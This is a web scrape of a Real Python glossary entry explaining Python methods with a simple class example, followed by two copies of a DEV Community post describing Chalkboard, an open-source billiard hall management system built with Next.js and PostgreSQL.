Glossary / absolute import abstract base class (ABC) abstract method annotation application programming interface (API) args (arguments) argument array ASCII assignment assignment expression asynchronous context manager asynchronous generator asynchronous generator iterator asynchronous iterable asynchronous iteration asynchronous iterator asynchronous programming attribute awaitable base class BDFL binary file Boolean buffer protocol bytecode bytes-like object callable callback class class method closure cls (argument) code style collection comment composition comprehension concurrency console context manager control flow coroutine coroutine function CPU-bound task CPython data class data structure debugging decorator deep copy dependency descriptor dictionary dictionary view docstring dot notation duck typing EAFP encapsulation escape sequence exception expression f-string function functional programming function annotation garbage collection generator generator expression generator iterator generic function generic type Global Interpreter Lock (GIL) hashable higher-order function identifier IDLE immutable import path indentation indexing inheritance input/output (I/O) instance integrated development environment (IDE) interpreter interpreter shutdown I/O-bound task iterable iteration iterator JavaScript Object Notation (JSON) JIT compiler kwargs (keyword arguments) LBYL linter literal loader loop magic method mapping metaprogramming method method overriding method resolution order (MRO) module mutable named tuple name mangling namespace namespace package nested scope non-blocking operation non-public name object object-oriented programming (OOP) package parameter PEP 8 pip polymorphism protocol protocol (special methods) protocol (subtyping) public name PyCon Python Python Enhancement Proposal (PEP) Pythonic python.org Python Package Index (PyPI) Python Software Foundation (PSF) Python Steering Council queue raw string recursion reference count REPL scope self (argument) sequence shallow copy slice slicing snake case soft keyword source code stack standard library statement static method static type checker string representation subclass text encoding text file traceback triple-quoted string type type alias type hint Unicode universal newlines variable variable annotation virtual environment virtual machine (VM) wheel Zen of Python Python Keywords / and as assert async await break case class continue def del elif else except False finally for from global if import in is lambda match None nonlocal not or pass raise return True try type underscore ( _ ) while with yield Python’s Built-in Data Types / bytearray bytes complex dict float frozenset int list object range set str tuple Python’s Built-in Exceptions / ArithmeticError AssertionError AttributeError BaseException BaseExceptionGroup BlockingIOError BrokenPipeError BufferError ChildProcessError ConnectionAbortedError ConnectionError ConnectionRefusedError ConnectionResetError EOFError Exception FileExistsError FileNotFoundError FloatingPointError GeneratorExit ImportError IndentationError IndexError InterruptedError IOError IsADirectoryError KeyboardInterrupt KeyError LookupError MemoryError ModuleNotFoundError NameError NotADirectoryError NotImplementedError OSError OverflowError PermissionError RecursionError RuntimeError StopAsyncIteration StopIteration SyntaxError SystemExit TabError TimeoutError TypeError ValueError ZeroDivisionError Python’s Built-in Functions / abs() aiter() all() anext() any() ascii() bin() bool() breakpoint() callable() chr() classmethod() compile() delattr() dir() divmod() enumerate() eval() exec() filter() format() getattr() globals() hasattr() hash() help() hex() id() __import__() input() isinstance() issubclass() iter() len() locals() map() max() memoryview() min() next() oct() open() ord() pow() print() property() repr() reversed() round() setattr() slice() sorted() staticmethod() sum() super() type() vars() zip() Python Standard Library / abc argparse array asyncio calendar collections configparser contextlib contextvars copy csv dataclasses datetime decimal doctest email enum fractions functools gc gettext glob hashlib heapq html http imaplib importlib inspect io ipaddress itertools json keyword locale logging math mimetypes mmap multiprocessing numbers operator os pathlib pickle platform pprint queue random re secrets shutil socket sqlite3 string subprocess sys sysconfig tarfile tempfile threading time timeit tkinter tomllib traceback turtle typing unittest urllib uuid venv wave weakref webbrowser xml zipapp zipfile Python Tools / Anaconda Bandit Black bpython build Conda Cookiecutter Coverage.py doit flake8 flit Git Hatch Invoke IPython isort line_profiler MkDocs mypy Nox pdm Pipenv pip-tools pipx Poetry poetry-core pre-commit ptpython pyenv PyInstaller Pylint py-spy pytest Ruff setuptools Sphinx tox twine ty uv wheel Code Editors & IDEs / Emacs JupyterLab Jupyter Notebook Neovim Notepad++ Positron PyCharm Spyder Sublime Text Thonny Vim Visual Studio Code Wing IDE AI Coding Glossary / activation function agent agentic coding artificial intelligence (AI) attention mechanism autoregressive generation bias chain of thought (CoT) context engineering context window convolutional network embedding evaluation few-shot learning fine-tuning function calling generative model generative pre-trained transformer (GPT) gradient descent guardrails hallucination in-context learning inference jailbreak large language model (LLM) large reasoning model (LRM) latency LLM observability loss function machine learning Model Context Protocol (MCP) natural language processing (NLP) nearest neighbor neural network parameter prompt prompt engineering prompt injection reasoning model recurrent neural network (RNN) reinforcement learning retrieval-augmented generation (RAG) self-attention structured output system prompt tagging telemetry temperature tensor parameter text corpora throughput token tokenization tool use training transformer transformer architecture vector vector database vector space vibe coding weight zero-shot learning AI Coding Tools / Aider Amazon Q Developer Amp Code AskCodi Blackbox AI ChatGPT Claude Claude Code CodeGeeX Code Llama Codex Codex CLI Copilot CLI Cursor Cursor CLI DeepCode Devin Gemini Gemini CLI Gemini Code Assist GitHub Copilot Chat Google Antigravity Grok JetBrains AI Assistant Jupyter AI Kiro LlamaIndex LM Studio Microsoft Copilot Ollama Open Interpreter OverflowAI Phind Pydantic AI Replit AI Repo Prompt Sourcegraph Cody Tabnine Visual Studio IntelliCode Warp Windsurf Zed Python Best Practices / Classes Code Formatting Code Testing Coding Style Comments Comprehensions Concurrency Conditionals Constants Dependency Management Distribution Docstrings Documentation Exception Handling Functions Generator Expressions Imports Logging Loops Object Mutability Optimization Project Layout Public API Surface Reference Python Glossary / method In Python, a method is a function that is associated with a particular object or class . Methods are typically defined within a class and can be called on objects of that class. Methods define the behaviors and actions that an object of a class can perform. Methods can take arguments , including a reference to the instance of the class itself, typically named self , which allows them to access and modify the object’s attributes. Methods are a fundamental part of object-oriented programming in Python. They enable encapsulation and the manipulation of an object’s state. Example Here’s a example of a method within a class: Python class Dog : def __init__ ( self , name ): self . name = name def speak ( self ): return f " { self . name } says Woof!" # Usage dog = Dog ( "Buddy" ) print ( dog . speak ()) # Output: Buddy says Woof! In this example, the .speak() method is defined within the Dog class and can be called on any instance of Dog . When dog.speak() is called, it returns the string "Buddy says Woof!" , demonstrating how methods can interact with object attributes. Related Resources Tutorial Python Classes: The Power of Object-Oriented Programming In this tutorial, you'll learn how to create and use full-featured classes in your Python code. Classes provide a great way to solve complex programming problems by approaching them through models that represent real-world objects. intermediate python For additional information on related topics, take a look at the following resources: Python's Instance, Class, and Static Methods Demystified (Tutorial) Defining Your Own Python Function (Tutorial) Inheritance and Internals: Object-Oriented Programming in Python (Course) Class Concepts: Object-Oriented Programming in Python (Course) Python Classes - The Power of Object-Oriented Programming (Quiz) OOP Method Types in Python: @classmethod vs @staticmethod vs Instance Methods (Course) Python's Instance, Class, and Static Methods Demystified (Quiz) Defining and Calling Python Functions (Course) Defining Your Own Python Function (Quiz) Defining and Calling Python Functions (Quiz) By Leodanis Pozo Ramos • Updated Sept. 19, 2025 • Reviewed by Dan Bader Python Glossary Share Feedback Learn Python Start Here Learning Resources Code Mentor Python Reference Python Cheat Sheet Support Center Courses & Paths Learning Paths Quizzes & Exercises Browse Topics Live Courses Books Community Podcast Newsletter Community Chat Office Hours Learner Stories Membership Plans & Pricing Team Plans For Business For Schools Reviews Company About Us Team Mission & Values Editorial Guidelines Sponsorships Careers Press Kit Merch Privacy Policy ⋅ Terms of Use ⋅ Security ⋅ Contact Happy Pythoning! © 2012–2026 DevCademy Media Inc. DBA Real Python. All rights reserved. REALPYTHON™ is a trademark of DevCademy Media Inc. Free Bonus: Python Cheat Sheet × Get a Python Cheat Sheet (PDF) and learn the basics of Python, like working with data types, dictionaries, lists, and Python functions: Send My Python Cheat Sheet » | 2026-01-13T08:49:27 |
https://dev.to/setasena_randata_1cfa30f4/building-chalkboard-open-source-billiard-hall-management-391c#whats-next | Building Chalkboard: Open Source Billiard Hall Management - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Setasena Randata Posted on Jan 13 Building Chalkboard: Open Source Billiard Hall Management # opensource # buildinpublic # typescript # nextjs TL;DR: I built an open-source billiard hall management system with Next.js 15, React 19, and PostgreSQL. It handles everything from table sessions to F&B orders, payments, and analytics. Try it on Railway or run it with Docker . The Problem Running a billiard hall in Indonesia involves juggling multiple systems: table time tracking, F&B orders, payments, staff management, and inventory. Most solutions are either: Expensive SaaS with monthly fees Excel spreadsheets (yes, really) Custom solutions that can't be easily replicated I wanted to build something that any billiard hall could deploy and own their data , whether they're in Jakarta, Manila, or anywhere else. Why Open Source? At Kugie , our motto is "Scale Smarter, Not Harder." For small businesses, that means: No vendor lock-in - Your data stays yours Deploy anywhere - Railway, Docker, VPS, or even Windows standalone Customize freely - Fork it and make it yours Community-driven - Features that actual operators need The Tech Stack // The modern stack that just works - Next . js 15 ( App Router + React 19 ) - TypeScript ( because types save lives ) - Drizzle ORM + PostgreSQL - Tailwind + Shadcn / ui - NextAuth . js for authentication - Bun for speed Enter fullscreen mode Exit fullscreen mode Why These Choices? Next.js 15 with App Router : Server components give us fast initial loads - crucial for operators checking tables on slower Indonesian internet. Drizzle ORM : After dealing with Prisma's bulk query limitations at scale, Drizzle's SQL-like syntax and better performance won me over. Plus, Drizzle Studio is fantastic for database debugging. PostgreSQL : Battle-tested, great JSON support for flexible F&B item properties, and works everywhere - from Neon serverless to local Docker. Key Features I'm Proud Of 1. Context-Aware F&B Orders Orders can be: Linked to table sessions Standalone counter orders Draft orders (for customers waiting for tables) // The schema handles all three contexts elegantly export const fnbOrders = pgTable ( " fnb_orders " , { tableSessionId : uuid ( " table_session_id " ). references (() => tableSessions . id ), paymentId : uuid ( " payment_id " ). references (() => payments . id ), status : varchar ( " status " , { length : 20 }). notNull (). default ( " draft " ), // draft → pending → completed }); Enter fullscreen mode Exit fullscreen mode 2. Flexible Deployment Options Method Best For Setup Time Railway Cloud, zero config 2 minutes Docker Self-hosted VPS 5 minutes Windows Standalone Local with auto-update 10 minutes 3. Real-Time Analytics Without the Overhead Pre-calculated analytics stored in order_analytics table: Revenue by hour/day/month Popular items and peak times Staff performance tracking No need for expensive analytics services - just PostgreSQL doing what it does best. Challenges & Solutions Challenge 1: Supporting Poor Internet Connectivity Problem : Many billiard halls in Indonesia have unreliable internet. Solution : Optimistic UI updates with local state Service Worker for offline capability (planned) Windows standalone that works 100% locally Challenge 2: Multi-Language Support Problem : Staff might prefer Indonesian, but owners want English reports. Solution : next-intl with route-based locales ( /id/dashboard vs /en/dashboard ) // Clean separation of concerns messages / ├── id / │ ├── common . json │ ├── dashboard . json │ └── fnb . json └── en / ├── common . json ├── dashboard . json └── fnb . json Enter fullscreen mode Exit fullscreen mode Challenge 3: Complex Payment Flows Problem : A single payment might include: Multiple table sessions Multiple F&B orders Split payments Tips Solution : Consolidated payment model with JSON metadata: export const payments = pgTable ( " payments " , { totalAmount : numeric ( " total_amount " , { precision : 10 , scale : 2 }). notNull (), metadata : json ( " metadata " ), // Flexible structure for complex scenarios paymentMethod : varchar ( " payment_method " , { length : 50 }). notNull (), }); Enter fullscreen mode Exit fullscreen mode What's Next? I'm preparing to launch Chalkboard v1.0.3 widely. Planned features: Mobile PWA for table-side ordering Multi-location support for chains Advanced inventory with supplier management Membership system with loyalty points Try It Yourself Quick deploy: Railway (1-click) Docker Hub GitHub Feedback welcome! Whether you run a billiard hall, arcade, or any time-based rental business, I'd love to hear if this could work for you. Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Setasena Randata Follow Location Jakarta, Indonesia Joined May 14, 2025 More from Setasena Randata Hi! I'm tired finding a self hosted finance tool, so I make one. # webdev # programming # javascript # opensource Summit Finance: A Modern Open Source Invoicing Solution Built with Next.js, Drizzle ORM, and Tailwind CSS # webdev # programming # javascript # opensource 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. Log in Create account | 2026-01-13T08:49:27 |
https://dev.to/setasena_randata_1cfa30f4/building-chalkboard-open-source-billiard-hall-management-391c#challenge-1-supporting-poor-internet-connectivity | Building Chalkboard: Open Source Billiard Hall Management - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Setasena Randata Posted on Jan 13 Building Chalkboard: Open Source Billiard Hall Management # opensource # buildinpublic # typescript # nextjs TL;DR: I built an open-source billiard hall management system with Next.js 15, React 19, and PostgreSQL. It handles everything from table sessions to F&B orders, payments, and analytics. Try it on Railway or run it with Docker . The Problem Running a billiard hall in Indonesia involves juggling multiple systems: table time tracking, F&B orders, payments, staff management, and inventory. Most solutions are either: Expensive SaaS with monthly fees Excel spreadsheets (yes, really) Custom solutions that can't be easily replicated I wanted to build something that any billiard hall could deploy and own their data , whether they're in Jakarta, Manila, or anywhere else. Why Open Source? At Kugie , our motto is "Scale Smarter, Not Harder." For small businesses, that means: No vendor lock-in - Your data stays yours Deploy anywhere - Railway, Docker, VPS, or even Windows standalone Customize freely - Fork it and make it yours Community-driven - Features that actual operators need The Tech Stack // The modern stack that just works - Next . js 15 ( App Router + React 19 ) - TypeScript ( because types save lives ) - Drizzle ORM + PostgreSQL - Tailwind + Shadcn / ui - NextAuth . js for authentication - Bun for speed Enter fullscreen mode Exit fullscreen mode Why These Choices? Next.js 15 with App Router : Server components give us fast initial loads - crucial for operators checking tables on slower Indonesian internet. Drizzle ORM : After dealing with Prisma's bulk query limitations at scale, Drizzle's SQL-like syntax and better performance won me over. Plus, Drizzle Studio is fantastic for database debugging. PostgreSQL : Battle-tested, great JSON support for flexible F&B item properties, and works everywhere - from Neon serverless to local Docker. Key Features I'm Proud Of 1. Context-Aware F&B Orders Orders can be: Linked to table sessions Standalone counter orders Draft orders (for customers waiting for tables) // The schema handles all three contexts elegantly export const fnbOrders = pgTable ( " fnb_orders " , { tableSessionId : uuid ( " table_session_id " ). references (() => tableSessions . id ), paymentId : uuid ( " payment_id " ). references (() => payments . id ), status : varchar ( " status " , { length : 20 }). notNull (). default ( " draft " ), // draft → pending → completed }); Enter fullscreen mode Exit fullscreen mode 2. Flexible Deployment Options Method Best For Setup Time Railway Cloud, zero config 2 minutes Docker Self-hosted VPS 5 minutes Windows Standalone Local with auto-update 10 minutes 3. Real-Time Analytics Without the Overhead Pre-calculated analytics stored in order_analytics table: Revenue by hour/day/month Popular items and peak times Staff performance tracking No need for expensive analytics services - just PostgreSQL doing what it does best. Challenges & Solutions Challenge 1: Supporting Poor Internet Connectivity Problem : Many billiard halls in Indonesia have unreliable internet. Solution : Optimistic UI updates with local state Service Worker for offline capability (planned) Windows standalone that works 100% locally Challenge 2: Multi-Language Support Problem : Staff might prefer Indonesian, but owners want English reports. Solution : next-intl with route-based locales ( /id/dashboard vs /en/dashboard ) // Clean separation of concerns messages / ├── id / │ ├── common . json │ ├── dashboard . json │ └── fnb . json └── en / ├── common . json ├── dashboard . json └── fnb . json Enter fullscreen mode Exit fullscreen mode Challenge 3: Complex Payment Flows Problem : A single payment might include: Multiple table sessions Multiple F&B orders Split payments Tips Solution : Consolidated payment model with JSON metadata: export const payments = pgTable ( " payments " , { totalAmount : numeric ( " total_amount " , { precision : 10 , scale : 2 }). notNull (), metadata : json ( " metadata " ), // Flexible structure for complex scenarios paymentMethod : varchar ( " payment_method " , { length : 50 }). notNull (), }); Enter fullscreen mode Exit fullscreen mode What's Next? I'm preparing to launch Chalkboard v1.0.3 widely. Planned features: Mobile PWA for table-side ordering Multi-location support for chains Advanced inventory with supplier management Membership system with loyalty points Try It Yourself Quick deploy: Railway (1-click) Docker Hub GitHub Feedback welcome! Whether you run a billiard hall, arcade, or any time-based rental business, I'd love to hear if this could work for you. Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Setasena Randata Follow Location Jakarta, Indonesia Joined May 14, 2025 More from Setasena Randata Hi! I'm tired finding a self hosted finance tool, so I make one. # webdev # programming # javascript # opensource Summit Finance: A Modern Open Source Invoicing Solution Built with Next.js, Drizzle ORM, and Tailwind CSS # webdev # programming # javascript # opensource 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. Log in Create account | 2026-01-13T08:49:27 |
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